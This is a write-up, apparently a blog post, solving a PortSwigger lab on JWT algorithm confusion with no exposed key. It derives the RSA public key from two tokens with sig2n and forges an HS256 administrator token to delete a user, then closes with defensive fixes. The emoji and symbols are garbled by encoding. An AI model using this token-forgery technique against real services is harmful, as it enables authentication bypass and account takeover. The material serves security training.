Goal:
- π Log in twice (log out between logins) β save two different JWTs from the session cookie
- π³ Run
docker run --rm -it portswigger/sig2n <token1> <token2>β the tool derives possible RSA public keys and outputs a tampered JWT for each - π§ͺ Test each tampered JWT at
GET /my-accountβ a 200 response identifies the correct X.509 key - π Copy the Base64-encoded X.509 key (not the tampered JWT) from the terminal output β create a New Symmetric Key in JWT Editor β replace
kwith it - βοΈ In Burp Repeater, set the JWT header
algtoHS256β setsubto"administrator"β click Sign with the symmetric key β check "Don't modify header" - πΊοΈ Send
GET /adminβ the server verifies with its public key as HMAC secret β it matches β admin panel loads - ποΈ Delete the user
carlosβ lab solved!
π§ Concept Recap
JWT algorithm confusion with no exposed key is an advanced variant where the server's public key is not published at
/jwks.jsonor any standard endpoint. The attacker instead derives the RSA public key mathematically from two valid JWTs signed with the same private key. Given two RS256 signatures over known messages, the RSA modulusncan be recovered β and fromnplus the standard exponente, the full public key is reconstructed. Once the public key is known, the attack is identical to Lab 7: switchalgtoHS256, sign with the public key as the HMAC secret, and the server's own verification logic accepts the forged token.
π Lab 7 vs Lab 8 β Same End Attack, Different Key Source
Feature Lab 7 β Exposed Key Lab 8 β No Exposed Key
(this lab)
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Public key /jwks.json Not published β
location must be derived
Key retrieval GET /jwks.json β Run sig2n Docker tool
method copy JWK on 2 JWTs
Tool needed Burp JWT Editor only sig2n Docker tool +
JWT Editor
Key format used JWK β PEM β Base64 Base64 X.509 directly
via Decoder from tool output
Algorithm Identical Identical
confusion step
Difficulty Expert Expert
Why two JWTs are enough to recover the public key:
RSA signature: sig = H(msg)^d mod n
Given:
sig1 = H(msg1)^d mod n (from JWT 1)
sig2 = H(msg2)^d mod n (from JWT 2)
Both signatures expose mathematical relationships involving n.
The sig2n tool uses these relationships to factor n,
then reconstructs the public key (e=65537, n=derived).
The tool may produce 2-4 candidate values of n (mathematical ambiguity).
Only one matches the server's actual key - identified by testing.The full attack flow:
Log in β copy JWT 1 β log out β log in again β copy JWT 2
β
docker run --rm -it portswigger/sig2n <JWT1> <JWT2>
β Tool outputs: candidate n values, tampered JWTs, Base64 X.509 keys
β
For each tampered JWT (starting with multiplier 1):
Replace session cookie β GET /my-account
β 200 OK β correct key found β
β 302 β wrong key, try next
β
Copy Base64-encoded X.509 key for the correct multiplier (from terminal)
JWT Editor Keys β New Symmetric Key β Generate β replace k with Base64 key β save
β
In Repeater β JSON Web Token tab:
Header: { "alg": "HS256", ... } β changed from RS256
Payload: { "sub": "administrator", ... }
β
Sign β select symmetric key β "Don't modify header" β OK
β
Send GET /admin β admin panel loads β
Delete carlos β lab solved β
π οΈ Step-by-Step Attack
π§ Step 1 β Install JWT Editor and Log In
- π Click "Access the lab"
- π Ensure Burp Suite is running and proxying traffic
- βοΈ In Burp β Extender β BApp Store β search JWT Editor β click Install
- π±οΈ On the lab site, click "My account" β log in with
wiener/peter - π±οΈ In Burp β Proxy β HTTP history β find the post-login
GET /my-account - π±οΈ Right-click β "Send to Repeater"
π§ Step 2 β Confirm You're Blocked from /admin
- π±οΈ In Repeater, change the path from
/my-accountto/adminβ click "Send"
Expected result:
β "Admin interface only accessible if logged in as the administrator"
β Confirms admin access is gated on the sub claim
β JWT header shows alg: RS256 β asymmetric signing in use
β No /jwks.json endpoint exists β public key is not exposedπ§ Step 3 β Collect the First JWT
- π±οΈ Change the path back to
/my-accountβ click "Send" (to get a clean view of the cookie) - π In the Cookie header, copy the full
session=JWT value and save it somewhere:
JWT 1: eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTcwNTY3ODQwMH0.sig1...
Confirm in the decoded header:
{ "kid": "9136ddb3-...", "alg": "RS256" }
Note the kid value - both JWTs must have the same kid
(same key used for both) or the derivation won't work.π§ Step 4 β Log Out and Collect the Second JWT
- π±οΈ On the lab site, click "Log out"
- π±οΈ Click "My account" β log in again with
wiener/peter - π±οΈ In Burp β Proxy β HTTP history β find the new post-login
GET /my-account - π Copy the new session JWT and save it:
JWT 2: eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTcwNTY3ODUwMH0.sig2...
What makes JWT 2 useful:
β Different exp timestamp β different payload β different signature
β Same kid β signed with the same RSA private key
β Two different signatures from the same key = enough information
for sig2n to mathematically derive the public key
You now have: JWT 1 and JWT 2 - both RS256, same kid, different signatures.π§ Step 5 β Run the sig2n Docker Tool
- π±οΈ Open a terminal on your machine
- π±οΈ Run the following command, substituting your two JWTs:
docker run --rm -it portswigger/sig2n <JWT1> <JWT2>Full example:
docker run --rm -it portswigger/sig2n \
"eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTcwNTY3ODQwMH0.PjK8..." \
"eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsInN1YiI6IndpZW5lciIsImV4cCI6MTcwNTY3ODUwMH0.Lkm9..."
First run note:
β Docker will pull the portswigger/sig2n image if not already cached
β This may take several minutes on first use
β Subsequent runs are fastπ§ Step 6 β Read the sig2n Output
The tool outputs one or more candidate keys. For each:
Found n with multiplier 1:
n = 0xab48a177e7c8ce697d...
Tampered JWT: eyJraWQiOiI5MTM2ZGRiMy1jYjBhLTRhMTktYTA3ZS1lYWRmNWE0NGM4YjUiLCJhbGciOiJIUzI1NiJ9...
Base64 encoded x509 key: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5C...
Base64 encoded pkcs1 key: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJD...
Found n with multiplier 2:
n = 0x1d6e3c0...
Tampered JWT: eyJraWQiOiI...
Base64 encoded x509 key: ...
...
Three things per candidate:
1. Tampered JWT β pre-forged HS256 token signed with this candidate key
(use this to TEST which key is correct)
2. Base64 encoded x509 key β the public key in X.509 format
(use this to CREATE your symmetric key after finding the correct one)
3. Base64 encoded pkcs1 key β alternative encoding (not needed for this lab)
Important: You need both outputs - the tampered JWT for testing,
and the Base64 x509 key for signing. Don't mix them up.π§ Step 7 β Test Each Tampered JWT to Find the Correct Key
- π Copy the Tampered JWT from the first
Found n with multiplier 1block - π±οΈ In Burp Repeater, ensure the path is
/my-account - βοΈ Replace the
session=cookie value with the tampered JWT - π±οΈ Click "Send"
If you receive 200 OK β correct key found β
β proceed to Step 8
If you receive 302 redirect to /login β wrong key
If 302: copy the Tampered JWT from multiplier 2, repeat the test.
Continue through each multiplier until you get 200 OK.
Usually the correct key is multiplier 1 or 2.
Why test at /my-account, not /admin?
β The tampered JWT from sig2n still has sub: "wiener"
β /my-account will load fine for wiener if the signature is valid
β /admin would return 403 regardless β not a useful test
β 200 at /my-account confirms the key is correct; 302 confirms it's wrongπ§ Step 8 β Copy the Correct Base64 X.509 Key
- π±οΈ In your terminal, locate the same multiplier block that gave you a 200 response
- π Copy the
Base64 encoded x509 keyvalue β the long string starting withLS0tLS1...
Critical distinction:
β The tampered JWT (used in testing) β do NOT copy this
β The Base64 encoded x509 key β copy THIS
The Base64 x509 key is already in the correct format to use as
the k value in a JWT Editor symmetric key - no Burp Decoder step needed.
This is different from Lab 7 where you had to encode the PEM yourself.π§ Step 9 β Create a Symmetric Key from the Derived Public Key
- π±οΈ In Burp β JWT Editor Keys tab β click "New Symmetric Key"
- π±οΈ Click "Generate" β a placeholder JWK is created:
{
"kty": "oct",
"kid": "some-generated-id",
"k": "random-base64-string"
}3. βοΈ Replace the k value with the Base64-encoded X.509 key you copied from the terminal:
{
"kty": "oct",
"kid": "some-generated-id",
"k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5C..."
}4. π±οΈ Click "OK" to save
What this creates:
β An HMAC symmetric key whose secret bytes ARE the server's RSA public key
β The server stores its public key as X.509 PEM β the Base64 encodes those exact bytes
β When the server verifies an HS256 token, it reads its own public key file
and uses those bytes as the HMAC secret β matching our signature exactlyπ§ Step 10 β Modify the JWT Header and Payload
- π±οΈ In Repeater, change the path to
/admin - π±οΈ Click the JSON Web Token tab
- π±οΈ In the Header section, change
algfrom"RS256"to"HS256":
{
"kid": "9136ddb3-cb0a-4a19-a07e-eadf5a44c8b5",
"alg": "HS256"
}4. π±οΈ In the Payload section, change sub from "wiener" to "administrator":
{
"iss": "portswigger",
"sub": "administrator",
"exp": 1705678400
}5. π±οΈ Click "Apply changes" after each edit
π§ Step 11 β Sign the Token with the Symmetric Key
- π±οΈ At the bottom of the JSON Web Token tab, click "Sign"
- π±οΈ Select the symmetric key you created with the derived public key
- βοΈ Ensure "Don't modify header" is checked
Why "Don't modify header" must be checked:
β Without it, the Sign function resets alg back to a value
that matches the key type (HS256 for oct key β this one is fine)
BUT it may also regenerate or change the kid
β Checking it freezes the header exactly as you edited it,
preserving both alg: HS256 and the original kid value4. π±οΈ Click "OK"
Result:
β JWT signed with HMAC-SHA256 using the derived RSA public key as the secret
β Server reads alg: HS256 β switches to HMAC verification
β Server uses its stored public key (X.509 PEM bytes) as the HMAC secret
β Our signature was computed with those same bytes β verification passes β
π§ Step 12 β Access the Admin Panel
- π±οΈ Confirm the request looks like this:
GET /admin HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=MODIFIED-HEADER.MODIFIED-PAYLOAD.NEW-SIGNATURE2. π±οΈ Click "Send"
Expected result:
β 200 OK β admin panel HTML loads β
β HMAC verified with public key β passed
β sub: "administrator" β admin access grantedπ§ Step 13 β Delete carlos
- π±οΈ In the admin panel response, find the delete URL:
/admin/delete?username=carlos2. π±οΈ In Repeater, update the path:
GET /admin/delete?username=carlos HTTP/1.1
Cookie: session=MODIFIED-HEADER.MODIFIED-PAYLOAD.NEW-SIGNATURE3. π±οΈ Ensure the JWT still has alg: HS256, sub: administrator, and the derived-key signature
4. π±οΈ Click "Send"
Result:
β carlos is deleted β
β Lab solved! ππ Lab Solved!
β
Collected two valid RS256 JWTs with different signatures
β
Ran sig2n Docker tool β derived candidate RSA public keys
β
Tested tampered JWTs at /my-account β identified correct X.509 key
β
Created symmetric key with Base64 X.509 key as k value
β
Changed JWT alg β HS256, sub β "administrator"
β
Signed with symmetric key (preserving header)
β
Server verified with public key in HMAC mode β passed
β
Admin panel loaded β carlos deleted
β
Lab complete!π Complete Attack Chain
1. Log in as wiener β GET /my-account β Send to Repeater
2. GET /admin with original token β blocked (sub: wiener, alg: RS256)
3. Copy JWT 1 from session cookie β log out β log in again β copy JWT 2
4. Terminal: docker run --rm -it portswigger/sig2n <JWT1> <JWT2>
5. Copy Tampered JWT (multiplier 1) β replace session cookie β GET /my-account
β 200 OK: correct key β
| 302: try multiplier 2
6. Copy Base64 encoded x509 key for the correct multiplier (from terminal)
7. JWT Editor Keys β New Symmetric Key β Generate β replace k with Base64 key β OK
8. Repeater β JSON Web Token tab β Header: alg β "HS256"
9. Payload: sub β "administrator"
10. Sign β select symmetric key β "Don't modify header" checked β OK
11. GET /admin β admin panel loads
12. GET /admin/delete?username=carlos β lab solvedNo private key. No /jwks.json. Just two login sessions, a Docker tool, and the math of RSA signatures.
π§ Deep Understanding
How sig2n derives the public key from two JWTs
RSA signing: sig = H(msg)^d mod n
Given two signatures:
sig1 = H(msg1)^d mod n
sig2 = H(msg2)^d mod n
The tool computes:
sig1^e mod n = H(msg1) (where e = 65537, the standard public exponent)
sig2^e mod n = H(msg2)
By analysing the mathematical relationship between sig1, sig2,
H(msg1), H(msg2), and the standard e value, the tool factors n
(recovers the RSA modulus) through GCD-based techniques.
Multiple candidate values of n are produced (the "multipliers"):
β Each is a mathematically valid possibility given the two signatures
β Only one actually matches the server's real n
β Testing with a tampered JWT determines which is correctWhy only two JWTs are needed
Both JWTs must share:
β
Same kid β same private key used for both
β
Different payloads β different messages β different signatures
If both JWTs have the same exp (identical payloads):
β Identical signatures β no mathematical variation β tool fails
β This is why you log out and back in: new exp = new signature
If JWTs have different kid values:
β Different private keys β tool computes the wrong relationship β fails
β Both must be signed by the same keyLab 7 vs Lab 8 β identical end-game, different key acquisition
Lab 7 key acquisition:
GET /jwks.json β copy JWK β New RSA Key β paste JWK β OK
Right-click β Copy Public Key as PEM
Burp Decoder β paste PEM β Encode as Base64 β copy
Lab 8 key acquisition:
Collect 2 JWTs β run sig2n in terminal
Test tampered JWTs at /my-account β find correct multiplier
Copy Base64 encoded x509 key directly from terminal output
From "create symmetric key" onwards: both labs are identical.
The only difference is HOW you obtain the Base64-encoded public key.π Troubleshooting
Problem: All tampered JWTs return 302 redirect
β The two JWTs may have identical payloads (same exp timestamp)
β Log out and wait a few seconds before logging in again for a different exp
β Check that both JWTs have the same kid β if different, the keys don't match
β Collect fresh JWTs and rerun sig2n immediately (tokens expire)
Problem: sig2n outputs only one candidate key and it returns 302
β Collect a third JWT and rerun: docker run portswigger/sig2n <JWT1> <JWT2> <JWT3>
β More JWTs give the tool more information β more accurate factorisation
Problem: sig2n runs for more than 10 minutes without output
β Stop with Ctrl+C - one of the JWTs may be malformed
β Verify both JWTs are complete (three dot-separated sections, no truncation)
β Try pasting each JWT into jwt.io to confirm they decode correctly
Problem: Docker image not found or pull fails
β Ensure Docker is running: docker info
β Try pulling manually first: docker pull portswigger/sig2n
β Check internet connectivity from the machine running Docker
Problem: Admin panel returns 401 after signing
β Most likely: "Don't modify header" was not checked
β The Sign step may have changed the alg or kid - re-examine the header after signing
β Reapply alg: HS256 and re-sign with "Don't modify header" checked
Problem: Mistakenly used the Tampered JWT as the k value instead of the Base64 key
β The Tampered JWT and the Base64 key are two different outputs from sig2n
β The k value must be the Base64 encoded x509 key line, not the JWT string
β Delete the symmetric key, create a new one, and paste only the Base64 key
Problem: Delete request returns 401 after /admin loaded
β The modified JWT must be used in the delete request too
β Check the Cookie header - Burp may have reverted to the original session
β Paste the forged JWT manually into the Cookie header before sending
Problem: Lab already solved / carlos not in user list
β Reset the lab from the lab page to restore original state
π¬ In One Line
π With no public key endpoint available, two RS256 JWTs were fed into the sig2n tool to mathematically derive the server's RSA public key β then, identical to Lab 7, switching alg to HS256 and signing with that public key as the HMAC secret produced a forged administrator token the server verified with its own key. That's JWT Algorithm Confusion with No Exposed Key β the public key was hidden, but the signatures gave it away.
π How to Fix It
# Priority 1 β Hardcode the expected algorithm β never read it from the token
# This single fix prevents both Lab 7 and Lab 8 entirely
# β BAD - algorithm taken from the JWT header:
header = jwt.get_unverified_header(token)
alg = header['alg'] # attacker controls this
payload = jwt.decode(token, public_key, algorithms=[alg])
# β
GOOD - algorithm fixed in server config:
EXPECTED_ALGORITHM = 'RS256'
payload = jwt.decode(token, rsa_public_key, algorithms=[EXPECTED_ALGORITHM])
# If token has alg: HS256 β InvalidAlgorithmError raised automatically
# Priority 2 β Never use the same key object for both RSA and HMAC paths
# Keep key types strictly separated by the verification function
# β BAD - same public_key variable reused regardless of algorithm:
def verify(token):
alg = jwt.get_unverified_header(token)['alg']
return jwt.decode(token, rsa_public_key, algorithms=[alg])
# If alg=HS256 β rsa_public_key bytes used as HMAC secret β confused!
# β
GOOD - key type and algorithm are bound together, no branching on client input:
RSA_PUBLIC_KEY = load_rsa_public_key('/etc/keys/public.pem')
def verify(token):
return jwt.decode(token, RSA_PUBLIC_KEY, algorithms=['RS256'])
# HS256 not in ['RS256'] β rejected regardless of token header
# Priority 3 β Reject symmetric algorithm families explicitly before decoding
SYMMETRIC_ALGORITHMS = {'HS256', 'HS384', 'HS512'}
def verify_token(token):
header = jwt.get_unverified_header(token)
if header.get('alg') in SYMMETRIC_ALGORITHMS:
raise ValueError("Symmetric algorithms are not accepted on this endpoint")
return jwt.decode(token, RSA_PUBLIC_KEY, algorithms=['RS256'])
# Priority 4 β Do not expose the public key unnecessarily
# (does not fix the vulnerability, but reduces attacker convenience)
# The real fix is always algorithm whitelisting β not hiding the key
# Even if /jwks.json is removed:
# β Two JWTs + sig2n β public key derived anyway (this lab)
# β The public key being "hidden" buys very little against a determined attacker
# β Fix the algorithm confusion; treat the public key as non-secret
# β
REAL DEFENCE: whitelist RS256, reject HS256 - done.π If this helped you β clap it up (you can clap up to 50 times!)
π Follow for more writeups β dropping soon
π Share with your pentest team
π¬ Drop a comment